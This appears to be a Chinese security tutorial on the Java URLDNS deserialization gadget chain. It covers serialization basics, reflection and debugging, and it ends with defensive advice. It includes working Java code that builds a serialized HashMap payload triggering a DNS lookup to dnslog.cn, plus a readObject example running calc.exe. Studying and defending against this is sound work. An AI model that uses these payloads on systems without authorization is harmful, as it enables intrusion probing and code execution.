JAVA URLDNS链分析利用
字数 1231 2025-08-10 17:51:49
Java URLDNS链分析与利用教学文档
一、Java反序列化基础
1.1 序列化与反序列化概念
序列化:将对象转化为字节序列的过程,用于存储或传输对象数据
- 通过
java.io.ObjectOutputStream的writeObject方法实现 - 需要实现
Serializable接口
反序列化:将字节序列恢复为对象的过程
- 通过
java.io.ObjectInputStream的readObject方法实现
1.2 基本示例
// 可序列化的Person类
public class Person implements Serializable {
private transient String name; // transient表示不会被序列化
private int age;
// 重写readObject方法可实现自定义反序列化逻辑
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 读取默认对象字段
Runtime.getRuntime().exec("calc.exe"); // 代码执行命令
}
}
二、URLDNS链介绍
2.1 URLDNS链特点
- 与Java版本无关
- 依赖于Java内置类
- 只能发起DNS请求,无法进行其他利用
- 主要用途:验证是否存在反序列化漏洞
2.2 攻击链原理
调用链:
HashMap.put() -> HashMap.hash() -> key.hashCode() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() -> DNS查询
关键点:
- URL对象被创建时,其
hashCode字段初始值为-1 - 当
hashCode为-1时,调用hashCode()方法会触发DNS查询 - 通过反射机制可以控制
hashCode的值
三、URLDNS链实现步骤
3.1 基础实现(会立即触发DNS)
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");
hashmap.put(url,1); // 此时会立即触发DNS查询
3.2 优化实现(仅在反序列化时触发DNS)
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");
// 使用反射修改hashCode值
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
// 1. 保存原始hashCode值
int originalHashCode = hashcodefield.getInt(url); // -1
// 2. 修改hashCode为非-1值
hashcodefield.set(url, 123);
// 3. 将URL放入HashMap
hashmap.put(url,1);
// 4. 将hashCode改回-1
hashcodefield.set(url, originalHashCode);
// 序列化hashmap
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashmap);
3.3 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject(); // 此时会触发DNS查询
四、关键技术点详解
4.1 Java反射机制
反射的作用:在运行时动态获取类的信息并操作类的成员
核心类:
Class:表示类或接口Constructor:表示构造函数Field:表示字段Method:表示方法
在URLDNS中的应用:
// 获取URL类的hashCode字段
Field hashcodefield = url.getClass().getDeclaredField("hashCode");
// 解除私有字段的访问限制
hashcodefield.setAccessible(true);
// 获取字段值
int value = hashcodefield.getInt(url);
// 设置字段值
hashcodefield.set(url, 123);
4.2 HashMap的序列化特性
- HashMap实现了Serializable接口
- 序列化时会保存所有键值对
- 反序列化时会调用键对象的hashCode方法重新计算哈希值
4.3 URL类的特殊行为
- URL对象在计算hashCode时会调用
getHostAddress()方法 - 该方法会解析URL的主机名,从而触发DNS查询
- 当hashCode不为-1时,会直接返回缓存的值,不会触发DNS
五、调试与分析技巧
5.1 关键调试点
-
URL对象创建时:
- hashCode初始值为-1
URL url = new URL("http://dnslog.cn"); -
hashmap.put()调用时:
- 会调用hash()方法
- hash()方法会调用key.hashCode()
-
反序列化时:
- 会重新计算所有键的hashCode
- 当hashCode为-1时会触发DNS
5.2 常见问题解决
问题:JDK9+版本可能出现模块访问限制错误
解决方案:
在VM选项中添加:
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
六、防御建议
- 不要反序列化不受信任的数据
- 使用白名单机制限制可反序列化的类
- 使用安全的替代方案如JSON、XML等数据格式
- 监控和过滤异常的DNS请求
七、总结
URLDNS链是一个简单但有效的反序列化漏洞检测手段,它利用了Java内置类的特性,通过DNS请求来验证反序列化漏洞的存在。虽然不能直接用于代码执行,但在渗透测试中具有重要的探测价值。理解URLDNS链的工作原理有助于深入理解Java反序列化漏洞的本质。